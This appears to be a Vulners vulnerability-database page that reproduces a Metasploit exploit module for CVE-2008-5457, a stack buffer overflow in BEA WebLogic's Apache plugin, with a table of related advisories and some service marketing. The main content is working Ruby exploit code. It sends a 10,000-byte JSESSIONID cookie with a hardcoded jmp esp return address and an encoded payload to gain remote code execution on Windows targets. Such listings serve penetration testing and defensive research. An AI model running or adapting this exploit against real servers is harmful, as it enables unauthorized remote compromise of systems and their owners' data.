Lucene search
K

BEA WebLogic JSESSIONID Cookie Value Overflow

🗓️ 27 Mar 2009 19:03:39Reported by pusscat <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 35 Views

BEA WebLogic JSESSIONID Cookie Overflow in WebLogic plugin, leads to code executio

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Oracle WebLogic IIS connector JSESSIONID Remote Overflow Exploit
1 Apr 200900:00
zdt
Circl
CVE-2008-5457
1 Apr 200900:00
circl
Check Point Advisories
Oracle BEA WebLogic IIS connector JSESSIONID Stack Buffer Overflow (CVE-2008-5457)
27 Apr 200900:00
checkpoint_advisories
CVE
CVE-2008-5457
14 Jan 200902:00
cve
Cvelist
CVE-2008-5457
14 Jan 200902:00
cvelist
Exploit DB
BEA WebLogic - JSESSIONID Cookie Value Overflow (Metasploit)
3 Jul 201000:00
exploitdb
Exploit DB
Oracle WebLogic IIS connector JSESSIONID - Remote Overflow
1 Apr 200900:00
exploitdb
exploitpack
Oracle WebLogic IIS connector JSESSIONID - Remote Overflow
1 Apr 200900:00
exploitpack
NVD
CVE-2008-5457
14 Jan 200902:30
nvd
Oracle
CPU Jan 2009
13 Jan 200900:00
oracle
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'BEA WebLogic JSESSIONID Cookie Value Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow in BEA's WebLogic plugin. The vulnerable
        code is only accessible when clustering is configured. A request containing a
        long JSESSION cookie value can lead to arbitrary code execution.
      },
      'Author'         => 'pusscat',
      'References'     =>
        [
          [ 'CVE', '2008-5457' ],
          [ 'OSVDB', '51311' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'seh',
        },
      'Privileged'     => true,
      'Platform'       => 'win',
      'Payload'        =>
        {
          'Space'    => 800,
          'BadChars' => "\x00\x0d\x0a\x20\x3B\x3D\x2C",
          'StackAdjustment' => -3500,
        },
      'Targets'        =>
        [
          [  'Windows Apache 2.2 - WebLogic module version 1.0.1136334',
            {
              'Ret' => 0x1006c9b5,    # jmp esp
            }
          ],
          [  'Windows Apache 2.2 - WebLogic module version 1.0.1150354',
            {
              'Ret' => 0x1006c9be,    # jmp esp
            }
          ],
        ],
      'DefaultTarget'  => 1,
      'DisclosureDate' => '2009-01-13'))

    register_options(
      [
        Opt::RPORT(80)
      ])
  end

  def exploit
    sploit = Rex::Text.rand_text_alphanumeric(10000, payload_badchars)
    sploit[8181, 4] = [target.ret].pack('V')
    sploit[8185, payload.encoded.length] = payload.encoded

    request =
      "POST /index.jsp HTTP/1.1\r\nHost: localhost\r\nCookie: TAGLINE=IAMMCLOVIN; JSESSIONID=" +
      sploit +
      "\r\n\r\n"

    connect
    sock.put(request);
    handler

    disconnect
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Oct 2020 20:00Current
7.9High risk
Vulners AI Score7.9
CVSS 210
EPSS0.81836
35